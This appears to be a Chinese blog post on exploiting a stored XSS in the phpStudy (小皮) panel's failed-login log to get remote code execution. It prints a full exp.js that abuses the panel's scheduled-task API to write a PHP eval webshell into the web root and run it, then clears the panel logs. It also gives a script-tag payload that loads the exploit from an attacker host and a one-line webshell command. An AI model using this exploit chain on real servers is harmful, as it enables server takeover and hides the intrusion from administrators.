phpstudy_小皮面板XSS到RCE

phpstudy_小皮面板XSS到RCE

一、简介

​ phpStudy小皮面板用户登录日志存在存储型XSS漏洞,利用存储型XSS攻击者可以通过JS调用面板中的计划任务执行系统命令。

二、影响版本

  • 小皮windows面板V0.102以及以下版本
  • 小皮linux面板X1.29以及以下版本
  • 截止2023.3.8日,我测试发现官网对漏洞进行了修复,但未发布修复说明,也未更新版本号

三、漏洞复现

安装完成后来到登录页面,复制好相关后台连接和用户名密码后进行正常登录。

漏洞验证:

在用户登录页面用户名处插入xss语句,进行登录,产生登录日志。

注意:验证码需要写对

在这里插入图片描述

提示用户名或者密码错误,此时产生了登录日志,写入了XSS语句。日志会记录登录失败的用户名,并在登录后将尝试的用户名直接显示在小皮首页当中,而这个过程是没有过滤的,也就可以进行任意xss。

在这里插入图片描述

使用正确的账户密码登录,触发弹窗

在这里插入图片描述
在这里插入图片描述

XSS到RCE

利用XSS配合小皮自带的计划任务,实现后台添加计划任务实现写webshell、反弹shell等操作,这些交给js就可以实现自动化完成。

exp.js

function exp() {
    $.ajax({
        url: '/service/app/tasks.php?type=task_list',   //获取计划任务列表
        type: 'GET',
        headers:{
            "X-Requested-With": "XMLHttpRequest"
        },
        dataType: 'json',
        success: function (data) {
            var id = data.data[0].ID;    //任务名称
            $.ajax({
                url: '/service/app/tasks.php?type=exec_task',     //执行计划任务
                type: 'POST',
                headers:{
                    "X-Requested-With": "XMLHttpRequest",
                    "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"
                },
                data: { tid: id },
                dataType: 'json',
                success: function (res) {
                    $.ajax({
                        url: '/service/app/log.php?type=clearlog',
                        type: 'POST',
                        data: { type: 'clearlog' },
                        dataType: 'json',
                        success: function (res2) {}
                    });
                }
            });
        }
    });
}

function save() {
    var data = new Object();
    data.task_id = '';
    data.title = 'shell_title';
    data.exec_cycle = '5';
    data.week = '1';
    data.day = '3';
    data.hour = '1';
    data.minute = '1';
    data.shell = 'echo "PD9waHAgZXZhbCgkX1JFUVVFU1RbJ2NtZCddKTs/Pg==" | base64 -d > C:/xp.cn/www/wwwroot/admin/localhost_80/wwwroot/shell.php';    //要执行的命令
    $.ajax({
        url: '/service/app/tasks.php?type=save_shell',
        type: 'POST',
        headers:{
            "X-Requested-With": "XMLHttpRequest",
            "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"
        },
        data: data,
        dataType: 'json',
        success: function (res) {
            exp();
        }
    });
}

save();

这里把shell写入到小皮网站目录中

默认是安装在D盘,我这里改成了C盘
C:\xp.cn\www\wwwroot\admin\localhost_80\wwwroot

构造payload

<script src="http://192.168.83.130:8080/exp.js"></script>

成功创建计划命令
在这里插入图片描述
在这里插入图片描述

成功写入
在这里插入图片描述
在这里插入图片描述

我测试时,不能使用base64编码一句话,不然写不进去

'echo "<?php @eval($_POST[123]);?>" >D:/phpstudyweb/xp.cn/www/wwwroot/admin/localhost_80/wwwroot/webshell.php';

参考:https://www.freebuf.com/vuls/356878.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值